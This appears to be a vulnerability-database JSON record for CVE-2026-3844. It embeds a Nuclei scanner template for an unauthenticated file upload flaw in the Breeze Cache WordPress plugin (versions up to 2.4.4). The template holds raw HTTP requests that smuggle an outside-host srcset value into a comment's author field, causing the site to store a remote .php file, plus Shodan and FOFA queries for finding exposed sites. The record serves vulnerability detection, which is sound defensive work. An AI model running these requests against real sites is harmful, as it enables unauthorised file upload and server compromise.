{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-3844/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-3844/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-3844/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-3844/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-3844/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-3844"},"sightings":{"href":"/api/v1/sightings/cve-2026-3844"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-3844.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-3844\n\ninfo:\n  name: Breeze <= 2.4.4 - Arbitrary File Upload\n  author: theamanrawat,ritikchaddha\n  severity: critical\n  description: |\n    Breeze Cache WordPress plugin <= 2.4.4 contains an unrestricted file upload vulnerability caused by missing file type validation in 'fetch_gravatar_from_remote' function, letting unauthenticated attackers upload arbitrary files, exploit requires 'Host Files Locally - Gravatars' enabled.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update to the latest version where this vulnerability is fixed.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3844\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-3844\n    epss-score: 0.27701\n    epss-percentile: 0.98094\n    cwe-id: CWE-434\n  metadata:\n    max-request: 4\n    verified: true\n    shodan-query: http.html:\"/wp-content/plugins/breeze/\"\n    fofa-query: body=\"/wp-content/plugins/breeze/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,breeze,file-upload,rce,vkev\n\nvariables:\n  marker: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-comments-post.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        comment_post_ID=1&author=x+srcset%3Dhttp%3A%2F%2Foast.me%2F{{marker}}.php&email=breeze{{marker}}%40test.com&comment=breeze+vuln+test+{{marker}}&submit=Post+Comment\n\n    extractors:\n      - type: regex\n        name: redirect_path\n        part: header_1\n        group: 1\n        regex:\n          - 'Location: https?://[^/]+(/.+)'\n        internal: true\n\n  - raw:\n      - |\n        GET {{redirect_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"srcset=https://oast.me\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/cache/breeze-extra/gravatars/{{marker}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<html><head></head><body></body></html>\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022067ebd8f556c356aff69204d8b3b484b6e3e9bdfecdee72e35a21c4f8302e2716022100fcaebda7b74a373364eb03a2d688d3fd7f2819ccd15953d70ce1a3c3c545d35c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-3844"}